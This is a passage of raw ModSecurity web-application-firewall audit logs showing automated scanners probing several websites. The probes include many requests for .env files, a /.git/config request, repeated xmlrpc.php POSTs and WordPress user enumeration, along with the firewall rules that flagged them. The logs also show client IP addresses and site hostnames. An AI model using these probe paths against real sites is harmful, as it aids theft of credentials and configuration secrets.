Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.3econcepts.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.3econcepts.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE-C-lVp19vSg8MbnETmkAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/3econcepts.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041338413525 798370 (- - -) Stopwatch2: 1750041338413525 798370; combined=1970, p1=355, p2=1513, p3=0, p4=0, p5=101, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --46576804-Z-- --d5cc110d-A-- [16/Jun/2025:08:05:39.440937 +0530] aE-C-r-GHz_IIxWr6ZuDVQAAAAg 128.199.112.101 52874 127.0.0.1 7081 --d5cc110d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d5cc110d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d5cc110d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-C-r-GHz_IIxWr6ZuDVQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041338485626 955379 (- - -) Stopwatch2: 1750041338485626 955379; combined=2581, p1=368, p2=1717, p3=93, p4=65, p5=219, sr=96, sw=119, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d5cc110d-Z-- --76e1ef1f-A-- [16/Jun/2025:08:05:57.401553 +0530] aE-DDFLyTgTLRBnIBDZkMQAAAAM 185.177.72.210 51462 127.0.0.1 7081 --76e1ef1f-B-- GET /WebResource.axd?d=LER8t9aS HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --76e1ef1f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c83a1570781908e868eafd2738bf38f41750041357; expires=Mon, 16 Jun 2025 03:35:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --76e1ef1f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".axd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".axd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/WebResource.axd"] [unique_id "aE-DDFLyTgTLRBnIBDZkMQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041356712474 689166 (- - -) Stopwatch2: 1750041356712474 689166; combined=2028, p1=335, p2=1585, p3=0, p4=0, p5=108, sr=98, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --76e1ef1f-Z-- --34046273-A-- [16/Jun/2025:08:05:58.943843 +0530] aE-DDUN_xpBAtP8SIP0_fgAAAAo 34.125.224.107 51490 127.0.0.1 7081 --34046273-B-- GET /.git/config HTTP/1.0 Host: www.home9ine.com X-Real-IP: 34.125.224.107 X-Accel-Internal: /internal-nginx-static-location Connection: close Accept-Encoding: gzip --34046273-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Set-Cookie: _sfs_id=45ea7847b7a0ca67fda14cbe36b92ec31750041358; expires=Mon, 16 Jun 2025 03:35:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --34046273-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.home9ine.com"] [uri "/.git/config"] [unique_id "aE-DDUN_xpBAtP8SIP0_fgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/home9ine.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041357218370 1725537 (- - -) Stopwatch2: 1750041357218370 1725537; combined=1775, p1=348, p2=1335, p3=0, p4=0, p5=91, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --34046273-Z-- --edb32878-A-- [16/Jun/2025:08:06:04.075175 +0530] aE-DEwS4XDlCv3KXioQN_QAAAAY 185.177.72.210 41008 127.0.0.1 7081 --edb32878-B-- GET /:5000/django_project_path/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --edb32878-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=38befbcdee07a2925a74545b8b174eda1750041363; expires=Mon, 16 Jun 2025 03:36:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --edb32878-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/django_project_path/.env"] [unique_id "aE-DEwS4XDlCv3KXioQN_QAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041363258153 817125 (- - -) Stopwatch2: 1750041363258153 817125; combined=1830, p1=400, p2=1319, p3=0, p4=0, p5=110, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --edb32878-Z-- --4bf5e708-A-- [16/Jun/2025:08:06:11.795280 +0530] aE-DG1LyTgTLRBnIBDZkPQAAAAM 185.177.72.210 35276 127.0.0.1 7081 --4bf5e708-B-- GET /.c9/metadata/environment/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4bf5e708-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a57b75342a19b7511275ddc06121f15c1750041371; expires=Mon, 16 Jun 2025 03:36:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4bf5e708-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.c9/metadata/environment/.env"] [unique_id "aE-DG1LyTgTLRBnIBDZkPQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041371109712 685632 (- - -) Stopwatch2: 1750041371109712 685632; combined=1869, p1=365, p2=1411, p3=0, p4=0, p5=92, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4bf5e708-Z-- --1c71a41e-A-- [16/Jun/2025:08:06:39.686749 +0530] aE-DNr-GHz_IIxWr6ZuDdQAAAAg 128.199.112.101 38140 127.0.0.1 7081 --1c71a41e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --1c71a41e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --1c71a41e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-DNr-GHz_IIxWr6ZuDdQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041398737813 948991 (- - -) Stopwatch2: 1750041398737813 948991; combined=1554, p1=336, p2=903, p3=29, p4=45, p5=147, sr=127, sw=94, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1c71a41e-Z-- --0fa0a159-A-- [16/Jun/2025:08:07:21.124936 +0530] aE-DYPrb_uQIHEwgEhzfDwAAAAA 185.177.72.210 53990 127.0.0.1 7081 --0fa0a159-B-- GET /vue-end/vue-til/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0fa0a159-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1d5de20c794907ad7bbdbb127ad06aba1750041440; expires=Mon, 16 Jun 2025 03:37:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0fa0a159-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/vue-end/vue-til/.env"] [unique_id "aE-DYPrb_uQIHEwgEhzfDwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041440422767 702253 (- - -) Stopwatch2: 1750041440422767 702253; combined=1875, p1=354, p2=1412, p3=0, p4=0, p5=108, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0fa0a159-Z-- --2c984848-A-- [16/Jun/2025:08:07:33.782255 +0530] aE-DbUN_xpBAtP8SIP0_vgAAAAo 185.177.72.210 43338 127.0.0.1 7081 --2c984848-B-- GET /:5601/.env.save.1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2c984848-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5613e6213524a56a8e68aaac1cf1b74d1750041453; expires=Mon, 16 Jun 2025 03:37:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2c984848-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env.save.1"] [unique_id "aE-DbUN_xpBAtP8SIP0_vgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041453102341 679976 (- - -) Stopwatch2: 1750041453102341 679976; combined=1940, p1=348, p2=1496, p3=0, p4=0, p5=95, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2c984848-Z-- --3ea9ac0d-A-- [16/Jun/2025:08:07:39.802540 +0530] aE-DckN_xpBAtP8SIP0_wAAAAAo 128.199.112.101 43502 127.0.0.1 7081 --3ea9ac0d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --3ea9ac0d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --3ea9ac0d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-DckN_xpBAtP8SIP0_wAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041458885481 917115 (- - -) Stopwatch2: 1750041458885481 917115; combined=1978, p1=347, p2=1252, p3=41, p4=61, p5=173, sr=96, sw=104, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3ea9ac0d-Z-- --bc404618-A-- [16/Jun/2025:08:07:53.160516 +0530] aE-DgEN_xpBAtP8SIP0_xwAAAAo 185.177.72.210 38154 127.0.0.1 7081 --bc404618-B-- GET /:8080/docs/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bc404618-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e451253e924031985357f3d9e82087391750041472; expires=Mon, 16 Jun 2025 03:37:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bc404618-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/docs/.env"] [unique_id "aE-DgEN_xpBAtP8SIP0_xwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041472471572 689005 (- - -) Stopwatch2: 1750041472471572 689005; combined=1757, p1=422, p2=1223, p3=0, p4=0, p5=111, sr=114, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bc404618-Z-- --8657ca67-A-- [16/Jun/2025:08:08:20.957777 +0530] aE-DnLoFnONBt7jRcByeDgAAAA4 78.153.140.222 60784 127.0.0.1 7081 --8657ca67-B-- GET /.env HTTP/1.0 Host: www.3econcepts.com X-Real-IP: 78.153.140.222 X-Accel-Internal: /internal-nginx-static-location Connection: close Accept: */* User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; imx53_smd Build/R10.3.3-r1) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 --8657ca67-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.3econcepts.com/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --8657ca67-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.3econcepts.com"] [uri "/.env"] [unique_id "aE-DnLoFnONBt7jRcByeDgAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/3econcepts.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041500227168 730669 (- - -) Stopwatch2: 1750041500227168 730669; combined=1961, p1=349, p2=1522, p3=0, p4=0, p5=89, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8657ca67-Z-- --3e63a02d-A-- [16/Jun/2025:08:08:21.858120 +0530] aE-Dnb-GHz_IIxWr6ZuDswAAAAg 185.177.72.210 60826 127.0.0.1 7081 --3e63a02d-B-- GET /:8181/docs/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3e63a02d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=01de8035f44b940b795b745f331d47d01750041501; expires=Mon, 16 Jun 2025 03:38:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3e63a02d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/docs/.env"] [unique_id "aE-Dnb-GHz_IIxWr6ZuDswAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041501130791 727393 (- - -) Stopwatch2: 1750041501130791 727393; combined=1937, p1=417, p2=1427, p3=0, p4=0, p5=93, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3e63a02d-Z-- --5780c858-A-- [16/Jun/2025:08:08:35.419065 +0530] aE-DqiSg0_FUeePR9Z0CuQAAAAE 185.177.72.210 35270 127.0.0.1 7081 --5780c858-B-- GET /srv6_controller/controller/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5780c858-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9a296f9bc94f2cf19f08d9e5f15dd3631750041515; expires=Mon, 16 Jun 2025 03:38:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5780c858-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/srv6_controller/controller/.env"] [unique_id "aE-DqiSg0_FUeePR9Z0CuQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041514757822 661306 (- - -) Stopwatch2: 1750041514757822 661306; combined=1723, p1=381, p2=1236, p3=0, p4=0, p5=105, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5780c858-Z-- --54a8732d-A-- [16/Jun/2025:08:08:39.392171 +0530] aE-DrmCnKbldJKSM7awhAQAAAAc 128.199.112.101 35510 127.0.0.1 7081 --54a8732d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 499 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --54a8732d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --54a8732d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 